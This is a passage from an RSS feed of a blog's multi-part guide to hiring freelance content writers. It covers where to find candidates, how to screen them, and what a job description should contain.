 srcset='https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer_hu_4a28e4a259ff0bc0.jpg 300w, https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer_hu_1842a6eeba0a8b2b.jpg 600w, https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer_hu_9de492c8380417ca.jpg 800w, https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer.jpg 816w'
 src="https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer.jpg" alt="Is It Keto Job Flyer" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Job flyer I made for Is It Keto using a template from Canva&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I received only one serious applicant, and their writing samples were just poorly-written school assignments, so we never started a &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/#start-a-paid-trial">paid trial&lt;/a>.&lt;/p>
&lt;h2 id="soliciting-from-my-blog-content-marketing">Soliciting from my blog (content marketing)&lt;/h2>
&lt;p>In December, I published an article about &lt;a href="https://mtlynch.io/upwork-scammer/">encountering a phony writer on Upwork&lt;/a>. I thought the piece might attract the attention of other freelance writers, so I included a little self-advertisement in the article&amp;rsquo;s footer. It encouraged readers to email me if they were looking for writing work.&lt;/p>
&lt;p>This strategy generated two applications, but neither one was strong enough to initiate a paid trial.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing_hu_c828c95d28cd2165.jpg 300w, https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing_hu_64267e3cfd0d5030.jpg 600w, https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing_hu_2c4e5bd5cb3d512e.jpg 800w, https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing_hu_d2653285da531713.jpg 1200w, https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing.jpg 1359w'
 src="https://mtlynch.io/hiring-content-writers/1-finding-writers/blog-job-listing.jpg" alt="Screenshot of job posting in previous article" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Mini job announcement in my &lt;a href="https://mtlynch.io/upwork-scammer/">blog post about a phony freelance writer&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="rhireawriter">/r/HireaWriter&lt;/h2>
&lt;p>A few times throughout my project, I checked &lt;a href="https://www.reddit.com/r/HireaWriter/">/r/HireaWriter&lt;/a>. It&amp;rsquo;s a community on the social networking site, Reddit, for freelancers seeking writing work.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter_hu_f7aa5cc1d891de71.jpg 300w, https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter_hu_91d37b4a59861c99.jpg 600w, https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter_hu_e6ab26577d81e7f5.jpg 800w, https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter.jpg 1064w'
 src="https://mtlynch.io/hiring-content-writers/1-finding-writers/hireawriter.jpg" alt="Screenshot of the HireaWriter subreddit" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://www.reddit.com/r/HireaWriter/">/r/HireaWriter&lt;/a>, a Reddit community for hiring freelance writers&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>None of the writers seemed promising enough to merit an interview. The posts seemed geared toward cheap spam blog owners who are looking to pay bottom-of-the-barrel rates for barely-intelligible content.&lt;/p>
&lt;h2 id="further-sources">Further sources&lt;/h2>
&lt;p>After I wrote this guide, &lt;em>The Write Life&lt;/em> published an excellent rundown of techniques for finding talented freelance writers:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/web/20251208002921/https://thewritelife.com/hire-a-writer/">&amp;ldquo;Need to Hire a Writer? 45 Places to Find High-Quality, Reliable Freelance Writers,&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I especially recommend their section on writing communities, as several people have recommended these groups to me as a source of high-quality candidates.&lt;/p>
&lt;h2 id="next-step-the-job-description">Next step: the job description&lt;/h2>
&lt;p>Once you&amp;rsquo;ve found writing candidates, it&amp;rsquo;s time to write a job description that tells applicants what you expect.&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part One: Finding Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring Content Writers: Part Three - Screening Candidates</title><link>https://mtlynch.io/hiring-content-writers/3-screening-candidates/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/3-screening-candidates/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Three: Screening Candidates&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Screening writing candidates requires you to make decisions with limited, imperfect information. This section explains what qualities to look for, which red flags to avoid, and how to contain the damage when you accidentally make a poor hire.&lt;/p></description><content:encoded>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Three: Screening Candidates&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Screening writing candidates requires you to make decisions with limited, imperfect information. This section explains what qualities to look for, which red flags to avoid, and how to contain the damage when you accidentally make a poor hire.&lt;/p>
&lt;h2 id="evaluation-criteria">Evaluation criteria&lt;/h2>
&lt;p>Until you hire a writer, you can&amp;rsquo;t tell how well they&amp;rsquo;ll write for you. Their profile and portfolio provide a narrow set of signals, most of them weak. Below, I&amp;rsquo;ve outlined standard hiring criteria for writers and how to evaluate them in your hiring decisions.&lt;/p>
&lt;h3 id="hourly-rate">Hourly rate&lt;/h3>
&lt;p>If you find a writer who charges $60/hr and another who charges only $30/hr, you might naturally assume that the $60/hr writer is better. How else could they command a wage that&amp;rsquo;s twice as high as their competitor?&lt;/p>
&lt;p>Surprisingly, I found this to be untrue. In my experience, a writer&amp;rsquo;s asking rate was almost wholly unrelated to their skill level. In fact, the best writer I found on Upwork was also the one who billed the lowest rate, at $20/hr.&lt;/p>
&lt;h3 id="bio">Bio&lt;/h3>
&lt;p>If the writer has a profile on a freelancing site or, better yet, their own website, they&amp;rsquo;ll have a bio that explains a little about themselves and the work that they do.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 715px">



 &lt;a href="https://www.upwork.com/o/profiles/users/_~013cb8db368fbf76f2/">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 715px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/3-screening-candidates/morgan-province-profile_hu_28ad80b88bcc2005.jpg 300w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/morgan-province-profile_hu_a9de5baf5ea86d28.jpg 600w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/morgan-province-profile.jpg 713w'
 src="https://mtlynch.io/hiring-content-writers/3-screening-candidates/morgan-province-profile.jpg" alt="Screenshot of Morgan Province&amp;#39;s Upwork profile" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://www.morganprovince.com">Morgan Province&lt;/a>&amp;rsquo;s &lt;a href="https://www.upwork.com/o/profiles/users/_~013cb8db368fbf76f2/">profile on Upwork&lt;/a> is simple, clear, and to the point.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The bio tends to be the best glimpse you have into a candidate&amp;rsquo;s writing ability. Articles from their portfolio often go through a layer of editing that the writer can&amp;rsquo;t control. On their bio, the writer has ultimate authority, so it&amp;rsquo;s the purest sample of their writing you can find.&lt;/p>
&lt;p>A profile with spelling or grammatical errors is an automatic no-hire. If they can&amp;rsquo;t manage correct grammar in their bio, they&amp;rsquo;re never going to get it right in their work for you. Similarly, watch out for profiles that are convoluted or unclear. The writing in their self-description is likely the best that they can do, so if it doesn&amp;rsquo;t meet your standards, move on.&lt;/p>
&lt;h3 id="writing-samples">Writing samples&lt;/h3>
&lt;p>All professional writers should provide you with writing samples, but they&amp;rsquo;re not always an accurate reflection of their ability. A strong published piece might be the result of an adept editor rather than a proficient writer. Conversely, a dull, convoluted article might be that way because their client demanded a 2,000-word essay on a 500-word topic.&lt;/p>
&lt;p>When I read writing samples, I look for writing that&amp;rsquo;s either extremely good or extremely bad. I reject when their samples are especially weak. If the writing samples in their public portfolio are so-so, I ask if they have a sample that&amp;rsquo;s closer to &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/#use-a-style-guide-to-enforce-consistency">my site&amp;rsquo;s style&lt;/a>.&lt;/p>
&lt;h3 id="ratings-and-reviews">Ratings and reviews&lt;/h3>
&lt;p>Sites like Upwork publish reviews for freelancers. In my experience, reviews have been the least meaningful indicator of quality. Some of my worst hires had dozens of perfect five-star reviews.&lt;/p>
&lt;p>Negative reviews are a stronger signal. It&amp;rsquo;s not a big deal if the candidate has a couple blemishes on an otherwise solid track record. Many clients are just jerks and have unreasonable expectations of freelancers. But if you see consistent patterns in their bad reviews, pay attention.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 707px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/upwork-reviews.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 707px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/3-screening-candidates/upwork-reviews_hu_fd4f605485cf37c1.jpg 300w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/upwork-reviews_hu_f9d6fa40c961c6.jpg 600w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/upwork-reviews.jpg 705w'
 src="https://mtlynch.io/hiring-content-writers/3-screening-candidates/upwork-reviews.jpg" alt="Screenshot of Morgan Province&amp;#39;s Upwork profile" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Example reviews on Upwork&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="publication-credits">Publication credits&lt;/h3>
&lt;p>Sometimes, a writer has fancy credits to their name, such as publications on well-known websites like &lt;a href="https://www.forbes.com">Forbes&lt;/a> or &lt;a href="https://www.huffpost.com">The Huffington Post&lt;/a>.&lt;/p>
&lt;p>In my experience, prestigious writing credits were not a meaningful signal. It never hurts to see that another publisher liked their work, but I&amp;rsquo;ve seen several writers with impressive credits and no ability to write.&lt;/p>
&lt;h2 id="pitfalls-to-avoid">Pitfalls to avoid&lt;/h2>
&lt;h3 id="steer-clear-of-fluff-factories">Steer clear of fluff factories&lt;/h3>
&lt;p>The Internet is experiencing an epidemic of fluff writing. Site owners &lt;a href="https://moz.com/blog/blog-post-length-frequency">think that they&amp;rsquo;ll rank higher in search results&lt;/a> if their articles have a higher word count. Further, many clients &lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/#pay-per-hour-per-word-or-per-article">pay by the word&lt;/a>, so long-winded pieces earn more money. As a result, instead of learning to write well, many writers have learned to write fluff.&lt;/p>
&lt;p>Fluff writing sounds like a book report from a fifth-grader who forgot to do the reading. Below, I&amp;rsquo;ve included an example of fluff writing. I wrote the passage myself, but it&amp;rsquo;s depressingly similar to writing samples I&amp;rsquo;ve received:&lt;/p>
&lt;blockquote>
&lt;p>Fitness is important. We all know this! A recent study found that people who exercise are better than people who don’t. So you don’t have any excuse not to hit the gym and start working on those extra pounds!&lt;/p>
&lt;p>But fitness won’t just happen. You have to WORK for it! The first step is making a commitment that will force you to keep a regular gym habit. It can be a pact with a friend or sessions with a personal trainer. Anything that will keep your butt off the couch!&lt;/p>
&lt;p>Don’t overdo it either! Many people start working out and push themselves past their limits and injure themselves. Make sure to know your limits and always stay hydrated.&lt;/p>&lt;/blockquote>
&lt;p>When hiring, avoid &amp;ldquo;fluff factories&amp;rdquo; — writers who produce only fluff. Signs of a fluff factory include:&lt;/p>
&lt;ul>
&lt;li>Desperate grabs at the reader&amp;rsquo;s attention
&lt;ul>
&lt;li>Hyperbole&lt;/li>
&lt;li>ALL CAPS&lt;/li>
&lt;li>Exclamation points!!!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Long stretches of text devoid of useful information or analysis&lt;/li>
&lt;li>Irrelevant details or tangents&lt;/li>
&lt;/ul>
&lt;h3 id="beware-the-jack-of-all-trades">Beware the jack of all trades&lt;/h3>
&lt;p>Good writers tend to focus exclusively on their craft. People who are &amp;ldquo;amazing&amp;rdquo; content writers and &amp;ldquo;expert&amp;rdquo; WordPress designers, in reality, tend to be weak in both.&lt;/p>
&lt;p>If you were searching for someone to perform brain surgery, you&amp;rsquo;d probably avoid the doctor who says, &amp;ldquo;I&amp;rsquo;m an expert neurosurgeon &lt;strong>and&lt;/strong> an accomplished auto mechanic.&amp;rdquo; Apply the same logic when hiring writers.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 717px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/many-skills-profile.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 717px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/3-screening-candidates/many-skills-profile_hu_648d91aaa11b0f74.jpg 300w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/many-skills-profile_hu_7e6818e081d748e.jpg 600w, https://mtlynch.io/hiring-content-writers/3-screening-candidates/many-skills-profile.jpg 715w'
 src="https://mtlynch.io/hiring-content-writers/3-screening-candidates/many-skills-profile.jpg" alt="Screenshot of writer who lists many unrelated skills" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Upwork freelancer with a suspiciously high number of non-writing skills&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="resist-the-temptation-to-fix-bad-writers">Resist the temptation to &amp;ldquo;fix&amp;rdquo; bad writers&lt;/h3>
&lt;p>It takes weeks or months to find a writer that produces content you want. During that time, it&amp;rsquo;s easy for desperation to set in. Several times, I found mediocre writers and thought to myself, &amp;ldquo;Their writing is rough, but I can coach them to improve it.&amp;rdquo; This never worked.&lt;/p>
&lt;p>Writing improves slowly — at the scale of years. If a professional writer produces D-grade writing, they&amp;rsquo;ll remain a D-grade writer for years to come. Remember that when you see an enthusiastic but mediocre writer offering to work at bargain-basement rates.&lt;/p>
&lt;h2 id="proactively-invite-freelancers-to-apply">Proactively invite freelancers to apply&lt;/h2>
&lt;p>You can find higher-quality candidates if you reach out to them proactively instead of waiting for them to apply. The best candidates are generally too busy with their existing clients to check job boards aggressively for new postings.&lt;/p>
&lt;p>Writers receive spammy, generic job solicitations all the time. A personalized invitation distinguishes you as a client who respects their work. Mention specifics about their writing and why they seem like a good match for the job.&lt;/p>
&lt;p>Make it clear that you&amp;rsquo;re not hiring them right off the bat. You should exchange a few messages to gauge your chemistry together before making a formal offer.&lt;/p>
&lt;h2 id="interview-candidates">Interview candidates&lt;/h2>
&lt;p>When hiring writers, my top priority is evaluating their published content. It&amp;rsquo;s impossible to learn this by asking them lots of questions, so I keep my interviews short and quickly hire the writer for a paid trial (see &lt;a href="#start-a-paid-trial">below&lt;/a>).&lt;/p>
&lt;p>Still, the interview does give you a glimpse into what it&amp;rsquo;s like working with this person. Do the two of you communicate well, or does it take several back and forths before a question is sufficiently stated and answered? Is their working style compatible with yours?&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Signs of a &lt;font color="red">bad&lt;/font> candidate&lt;/th>
 &lt;th>Signs of a &lt;font color="green">good&lt;/font> candidate&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>They ask questions that you already answered in your invitation letter or job description.&lt;/td>
 &lt;td>They demonstrate that they&amp;rsquo;ve spent time learning about your project.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>They respond to your personalized invitation with a generic form letter.&lt;/td>
 &lt;td>They express genuine interest and enthusiasm about the work.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>They ask questions that are ambiguous or poorly-worded.&lt;/td>
 &lt;td>They ask questions that are thoughtful and relevant.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="start-a-paid-trial">Start a paid trial&lt;/h2>
&lt;p>In my experience, the best way to evaluate writing candidates is to hire them on a trial basis. A lengthy, unpaid screening process drives away top writers who have plenty of options.&lt;/p>
&lt;p>When offering a paid trial, I specifically avoid terms like &amp;ldquo;probationary period&amp;rdquo; because it sounds like I&amp;rsquo;m waiting for the writer to screw up. The trial period serves both of us: I get to see how the writer produces content for me, and the writer has the opportunity to see what I&amp;rsquo;m like as a paying client.&lt;/p>
&lt;p>A paid trial is part of the candidate search. Many of your trial hires won&amp;rsquo;t last, so you can hire multiple writers in parallel even if you want only one writer long-term.&lt;/p>
&lt;h2 id="working-with-writers">Working with writers&lt;/h2>
&lt;p>Now that you&amp;rsquo;ve hired a writer on a trial basis, it&amp;rsquo;s time to evaluate whether they&amp;rsquo;re the right long-term match for your business.&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Three: Screening Candidates&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring Content Writers: Part Two - Creating a Detailed Job Description</title><link>https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Two - Creating a Detailed Job Description&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>A clear, concise job description shows candidates that you&amp;rsquo;re an organized professional who puts thought into what they want. It also allows the writers to skip applying if they recognize they&amp;rsquo;re a poor match for the work you need. Lastly, it aids you in screening out poor candidates. If an applicant asks you questions that you answered clearly in your job description, you know they&amp;rsquo;re desperately blasting out generic applications to every job they see.&lt;/p></description><content:encoded>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Two - Creating a Detailed Job Description&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>A clear, concise job description shows candidates that you&amp;rsquo;re an organized professional who puts thought into what they want. It also allows the writers to skip applying if they recognize they&amp;rsquo;re a poor match for the work you need. Lastly, it aids you in screening out poor candidates. If an applicant asks you questions that you answered clearly in your job description, you know they&amp;rsquo;re desperately blasting out generic applications to every job they see.&lt;/p>
&lt;h2 id="example-job-description">Example job description&lt;/h2>
&lt;p>Below, I&amp;rsquo;ve included the job description I use to hire writers for Is It Keto. It&amp;rsquo;s a Google Doc, and I always link candidates directly to it to ensure a single, authoritative version. When I fix mistakes or clarify the wording, I never worry about who has which draft of my document.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 825px">



 &lt;a href="https://docs.google.com/document/d/1sPkmViKqOc9GXhkiL7UUcR315H68YYWGDgKn-r4BKJE/edit#">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 825px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/job-description_hu_2f3428afb40e19b2.jpg 300w, https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/job-description_hu_277809999bb16c37.jpg 600w, https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/job-description_hu_25c62a0022a330c7.jpg 800w, https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/job-description.jpg 1000w'
 src="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/job-description.jpg" alt="Screenshot of Is It Keto&amp;#39;s job description" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto&amp;rsquo;s &lt;a href="https://docs.google.com/document/d/1sPkmViKqOc9GXhkiL7UUcR315H68YYWGDgKn-r4BKJE/edit#">job description Google Doc&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="elements-of-a-good-job-description">Elements of a good job description&lt;/h2>
&lt;p>Here are the essential elements to cover in the job description:&lt;/p>
&lt;ul>
&lt;li>Overview
&lt;ul>
&lt;li>What kind of content will they write?&lt;/li>
&lt;li>What is the goal of the content?
&lt;ul>
&lt;li>Attracting attention to a product?&lt;/li>
&lt;li>Improving search engine rankings?&lt;/li>
&lt;li>Building a brand?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Requirements
&lt;ul>
&lt;li>Does the writer need specialized knowledge in a particular field of study?
&lt;ul>
&lt;li>e.g., medical writing, financial writing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Should they have specific skills?
&lt;ul>
&lt;li>e.g., writing for search engine optimization, appealing to young professionals&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Assignment details
&lt;ul>
&lt;li>What is the typical word count for your assignments?&lt;/li>
&lt;li>Are they required to revise the piece based on your feedback?&lt;/li>
&lt;li>How will they collaborate with you?
&lt;ul>
&lt;li>Google Docs? Word?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Will you assign article topics, or does the writer pitch ideas to you?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Attribution and rights
&lt;ul>
&lt;li>Do you keep full rights to the articles, or can the writer republish them on other sites?&lt;/li>
&lt;li>Does the writer receive a byline?
&lt;ul>
&lt;li>e.g., &amp;ldquo;by Michael Lynch&amp;rdquo;&lt;/li>
&lt;li>Is the author allowed to link to their own website in the byline?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Timing
&lt;ul>
&lt;li>How many hours do you expect the writer to work each week?&lt;/li>
&lt;li>How quickly must the writer complete work after they receive an assignment?&lt;/li>
&lt;li>Is it critical for the writer&amp;rsquo;s working hours to overlap with yours?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Payment
&lt;ul>
&lt;li>How do you &lt;a href="#pay-per-hour-per-word-or-per-article">structure payment&lt;/a>?&lt;/li>
&lt;li>What method of payment will you use?
&lt;ul>
&lt;li>Check? PayPal? Venmo?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How quickly can writers expect payment?&lt;/li>
&lt;li>Do you need to collect tax information from the writer?
&lt;ul>
&lt;li>In the US, you&amp;rsquo;ll need to &lt;a href="https://www.irs.gov/forms-pubs/about-form-1099-misc">collect a 1099&lt;/a> from any freelancer that you pay more than $600 per year. This is often unnecessary if you pay them through a marketplace like Upwork.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Will you pay a kill fee if you decide not to publish the writer&amp;rsquo;s work?
&lt;ul>
&lt;li>Publishers sometimes pay a &amp;ldquo;kill fee&amp;rdquo; if a writer completes an assignment, but the publisher doesn&amp;rsquo;t use it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Example articles
&lt;ul>
&lt;li>Provide links to content that provides inspiration for what you want.
&lt;ul>
&lt;li>Be specific about what you like about the examples.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can also link to counter-examples of writing you dislike.
&lt;ul>
&lt;li>What aspects of the counter-examples should writers avoid?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="save-money-by-offering-flexibility">Save money by offering flexibility&lt;/h2>
&lt;p>Resist the temptation to demand constant availability and quick turnaround. Sure, it sounds great to have a writer at your beck and call, but that requirement limits the pool of writers and drives up their rates.&lt;/p>
&lt;p>Think about it from the writer&amp;rsquo;s perspective. Freelancers juggle several clients at once, and it&amp;rsquo;s impossible to provide constant availability to all of them. They either have to pass on jobs that require quick turnaround or take those jobs only when the pay is extremely high.&lt;/p>
&lt;p>Instead, offer writers as much flexibility as you can. Instead of imagining your ideal timing requirements, think about what you can live with. Can you tolerate a turnaround time of a week or more on assignments? If so, you&amp;rsquo;ll save money and attract better candidates by providing this flexibility.&lt;/p>
&lt;h2 id="pay-per-hour-per-word-or-per-article">Pay per hour, per word, or per article?&lt;/h2>
&lt;p>When it comes to pay structure for your freelancers, you have several options:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Pay structure&lt;/th>
 &lt;th>Description&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pay per hour&lt;/td>
 &lt;td>Writer earns an hourly rate regardless of how much content they produce.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Pay per word&lt;/td>
 &lt;td>Writer&amp;rsquo;s fee is the final word count of the piece multiplied by an agreed price per word.&lt;br> &lt;em>(typically &lt;a href="http://whopayswriters.com">$0.10 to $0.75 per word&lt;/a>)&lt;/em>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Pay per article&lt;/td>
 &lt;td>Writer earns a fixed price for each assignment they complete, regardless of word count or hours invested.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
